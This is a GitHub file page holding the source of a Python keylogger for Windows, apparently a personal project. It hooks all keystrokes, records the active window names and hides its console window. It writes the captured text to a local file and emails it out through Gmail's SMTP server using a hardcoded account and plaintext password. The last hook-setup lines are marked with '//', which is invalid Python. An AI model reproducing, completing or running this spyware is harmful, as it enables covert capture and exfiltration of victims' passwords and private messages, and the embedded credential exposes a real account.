-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathLogger.py
More file actions
84 lines (73 loc) · 1.77 KB
/
Logger.py
File metadata and controls
84 lines (73 loc) · 1.77 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import pythoncom, pyHook
import win32api
import win32con
import win32event, winerror
from threading import Timer
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
data = ""
windowname = ""
lastwindow = None
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
print ("Multiple Instance not Allowed")
exit(0)
def hide():
import win32console,win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True
def write_to_file(data):
logfile = open("log.txt","a+")
logfile.write(data)
logfile.close()
return 1;
def send_mail(data):
fromaddr = "sushanthrao6@gmail.com"
toaddr = "sushanthrao6@gmail.com"
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "keylogger"
body = data
msg.attach(MIMEText(body, 'plain'))
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "9640807999sushanth")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()
def OnKeyboardEvent(event):
global data
global windowname
global lastwindow
temp = event.Key
windowname = event.WindowName
if windowname!=lastwindow:
data = data + "\n::" + windowname + "::"
lastwindow = windowname
if event.KeyID == 32:
temp = " "
if event.KeyID == 8:
data = data[:-1]
temp=""
if event.KeyID == 13:
temp = "\n"
data = data+temp
if len(data) >= 100:
print(data)
write_to_file(data)
send_mail(data)
data = ""
return True
//hide()
# create a hook manager
//hm = pyHook.HookManager()
# watch for all mouse events
//hm.KeyDown = OnKeyboardEvent
# set the hook
//hm.HookKeyboard()
# wait forever
//pythoncom.PumpMessages()